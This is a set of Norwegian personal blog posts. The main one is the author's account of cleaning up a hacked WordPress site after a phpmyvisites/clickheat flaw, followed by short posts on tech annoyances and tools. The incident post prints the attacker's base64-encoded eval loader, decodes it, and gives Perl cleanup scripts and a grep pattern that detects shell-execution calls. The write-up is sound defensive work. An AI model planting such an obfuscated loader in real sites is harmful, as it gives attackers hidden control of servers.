18. June 2010 · Write a comment · Categories: Data, Moro · Tags: ,

Når man tar en kikk på forslagene fra google (dvs. i engelsk utgave, ikke google.no) når en starter å skrive “why wont” så lurer jeg veldig på hvorfor folk skryter av Apples produkter. Jeg har aldri (og kommer aldri) til å eie et slikt produkt, men det kan neppe være så shiny shiny som deres svært så trofaste brukere påstår.

18. June 2010 · Write a comment · Categories: Data · Tags:

Babyslyngettrafikk

Som dere ser så fikk den ellers sparsommelig besøkte birøkterbloggen min en gedigen trafikkøkning et par dager. Jeg lurte veldig på hva dette var og undersøkte litt.

Forklaringen lå i at dette forumet som handler om babyslynger hadde linket til en av sidene mine for å vise et bilde av en bitømmer.

Er ikke grenser for hva man kan diskutere på et babyslyngeforum ser det ut som 🙂

image

“About” i norsk oversettelse

Jaja.. Så skjedde det igjen. Det er to år siden sist. morkland.org ble hacket. Denne gangen skjedde det på tirsdag, og det ble oppdaget i går.

Jeg har i grunn en meg selv og min latskap å takke, men det er en kalkulert risiko. På morkland.org er flere filer og kataloger skrivbare for apache (webserveren). Dermed er det mulig å oppgradere wordpress osv med et enkelt klikk i administrasjonspanelet. Men å ha skriverettigheter til php-filer er jo galmanns verk i en sikkerhetssammenheng.

Grunnen til at jeg likevel har gjort dette er fordi jeg er så lat, og at jeg dermed tidligere endte med å oppgradere alt for sent når det kom nye versjoner. Slik ble jeg hacket forrige gang: Jeg var noen dager for seint ute med en sikkerhetpatch, og vips var det gjort. Derfor har jeg valgt å ta denne risikoen og heller ha en enkel måte å oppgradere raskt på.

Nok unnskyldninger. Denne gangen var det ikke wordpress som hadde skylden, men et statistikkverktøy: phpmyvisites. Denne benytter et bibliotek for clickheat som var implementert dårlig. Det muliggjør lagring av php-kode i en txt-fil. Denne kan så kjøres ved å manipulere GET-parametere i kallet av siden.

Folkene bak phpmyvisites sendte ut en mail til sine brukere på fredag (takk og pris for at jeg har som vane å melde meg på e-postlister for sikkerhetsadvarsler etc. for de verktøyene jeg bruker). Jeg sjekket umiddelbart sidene våre på morkland.org, og ganske riktig; samtlige php-filer var endret tre dager tidligere.

Etter dette hadde jeg to valg: Slette alt og legge det inn på nytte. Det var for meg ikke et alternativ siden jeg har så my kode som er manuelt endret. Eller jeg kunne prøve å vaske vekk endringene fra hackeren. Den oppvåkte leser vil nå spørre meg om hvorfor jeg ikke tok utgangspunkt i siste backup som var ren. Det burde jeg jo ha gjort, men, mumle mumle, den er litt gammel.

Først måtte jeg finne ut hva som var endret. I samtlige php-filer fant jeg kode som dette:

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJ
iYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9jdXN0
b21lcnMvbW9ya2xhbmQub3JnL21vcmtsYW5kLm9yZy9odHRwZC53d3cvYmxvZy93cC1
pbmNsdWRlcy9qcy90aW55bWNlL3BsdWdpbnMvaW5saW5lcG9wdXBzL3NraW5zL2NsZW
FybG9va3MyL2ltZy9zdHlsZS5jc3MucGhwJztpZihmaWxlX2V4aXN0cygkR0xPQkFMU
1snbWZzbiddKSl7aW5jbHVkZV9vbmNlKCRHTE9CQUxTWydtZnNuJ10pO2lmKGZ1bmN0
aW9uX2V4aXN0cygnZ21sJykmJmZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7b2Jfc3R
hcnQoJ2Rnb2JoJyk7fX19')); ?>

Det de har gjort her er å pakke inn php-koden som kjøres med base64-enkoding (som f.eks. også brukes i mail). Denne dekodes og kjøres så. La oss se på den utpakkede verjsonen:

if(function_exists('ob_start')&&!isset($GLOBALS['mfsn'])){
  $GLOBALS['mfsn']='[path]/img/style.css.php';
  if(file_exists($GLOBALS['mfsn'])){
     include_once($GLOBALS['mfsn']);
     if(function_exists('gml')&&function_exists('dgobh')){
       ob_start('dgobh');
     }
   }
}

All koden lå i én linje, og [path] var full path på vår server til nevnte fil. OK. Så her drar de inn enda mer gnøkka fra en fil de har lagt til: style.css.php. Og hva gjør den? Den var jo selvsagt også base64-enkodet, og inne holdt en ny eval(base64_decode([kode])). Hva i allverden er poenget med å dobbeltkode tro?

Denne innholdt MYE og uleselig kode som med maskingenererte funksjonsnavn (som f.eks. function FF97A1D7A5B771B21D423C3A9D78408C1($RC4A5B5E310ED4C323E04D72AFAE39F53)).

Denne fila tar inn kode fra parameter og kjører den med fin output for “brukeren”.

På tide å vaske filene. Først og fremst har jeg INGEN programmer som bruker eval(base64()). Dette kunne skrelles vekk: Inn med onkel perl og onkel regexp:

use strict;
use File::Path qw(mkpath);

while (<>) {
    chomp;
    do_file($_);
}

sub do_file {
    my ($file_path) = @_;

    $file_path =~ m/(.*)\/([^\/]+)/;
    my $root = $1;

    mkpath("cleaned/$root");

    open(IN, "20091218_hacked/$file_path") || die $!;
    open(OUT, ">cleaned/$file_path") || die $1;

    while (<IN>) {
        if (/eval/ && /base64/) {
            $_ = "";
        }
        print OUT;
    }
    close IN;
    close OUT;
}

Dermed kunne jeg fôre en liste med alle php-filene og pipe denne inn i scriptet. All koden de hadde lagt inn lå uten linjeskift, og det gjorde saken ganske enkel. De endrede filene kunne jeg dermed laste opp som erstatning for alle de som lå der fra før. Det ble litt over 1600 filer!

Men dette var i seg selv en ikke helt god nok test. På tide å sjekke om det var flere filer som gjorde rare ting:

grep -r "passthru(\|exec(\|shell_exec\|popen(\|system(" 20091218_hacked/ | grep -v "\.js:"

Denne sjekker om noen av av scriptene prøver å fyre av systemkommandoer på serveren. En del php-script gjør dette helt legitimt, så jeg måtte gå igjennom dem alle for å finne syndere. Det var en fire-fem script som gjorde tvilsomme saker.

I tillegg så lette jeg etter filer med rare navn som [something]_new.php [something].php.jpgg [something].php.pngg [something].jpg.php osv. Jeg lagde et script som fant slike filer for meg. Det viste seg at alle disse allered var dekket opp med lista jeg fant over filer med exec-type-kall.

Så var det bare å pipe lista over nye filer til dette scriptet som sletter dem på serveren:

use Net::FTP;

$ftp = Net::FTP->new("ftp.morkland.org", Debug => 0)
 or die "Cannot connect to ftp.morkland.org: $@";

$ftp->login("morkland.org",'PASSWORD')
 or die "Cannot login ", $ftp->message;

$ftp->cwd("/")
 or die "Cannot change working directory ", $ftp->message;

while (<>) {
 chomp;
 delete_this($_) if (not /^$/);
}

$ftp->quit;

sub delete_this {
 my ($file) = @_;
 print "deleting $file\n";

 $ftp->delete("$file")
 or print "ERROR: delete failed ", $ftp->message."\n";
}

Nå håper jeg bare jeg ikke har oversett noe, for da er jeg like langt. Det er nok med én oversett fil, så er hackeren inne med full kontroll. Sjekken hadde ikke holdt mål om det hadde vært for bruk i en profesjonell sammenheng, men for våre små private saker på morkland.org får det holde 🙂

phpmyvisites er fjernet fra serveren.  Siste versjon har rettet feilen, men jeg stoler ikke lenger på sakene, og ikke var de spesielt bra heller. De fungerte helt til det ble en del trafikk på siden, da gikk det helt sirup.

Vi får satse på at det tar en stund før det skjer igjen. Så artig er det ikke å scripte slikt i julestria.  Jeg får vel også holde et lite øye med serveren de neste ukene.

I forbindelse med jobb må man av og til ta i en windows-boks.  I dag fikk jeg denne feilmeldingen da jeg logget meg på.  Windows slutter aldri å overraske meg med snodigheter…

ingen_diskett

Jeg kom over en veldig artig pakke til Ubuntu Jaunty (Linux distroen jeg bruker) her i dag, blueproximity.  Programmet kan også hentes her.

Blue Proximity knytter seg til telefonen min med bluetooth og monitorerer signalstyrken min.  Når signalet blir for svakt låser den maskina mi.  Når jeg så kommer over signalstyrken så låses den opp igjen automatisk.

Så når jeg nå runder hjørnet på kontordøren min låser den maskina så ingen kan snuske på den (ikke at jeg på noen måte mistenker at noen vil det, men security first på en maskin med kundedata).  Når jeg kommer tilbake er maskinen ferdig opplåst.  Jeg ser aldri skjermspareren mer, men syslog’en kan fortelle meg at maksina har vært låst mens jeg var borte.  Kult, ikke sant?

19. March 2009 · Write a comment · Categories: Data · Tags:

Jeg leste denne bloggposten til en kollega om hvordan man kan få opp farten på en gammel innkjørt firefox.  Jeg har den samme gamle brukeren i firefox som jeg har hatt i flere år. Med tiden så blir tydeligvis SQLITE som Firefox benytter for å lagre en del metadata ganske sidrumpa.  Men ved å kjøre den magiske kommandoen VACUUM (se oppskriften i linken over), så blir alt så meget bedre.

Firefox ble plutselig ung og viril igjen.  En enorm forskjell i oppstart og nedstengningshastighet.  Definitivt verdt å prøve for flere.  Oppsrkiften legger til grunn at man bruker linux, men med de rette verktøyene bør dette også fungere i windows.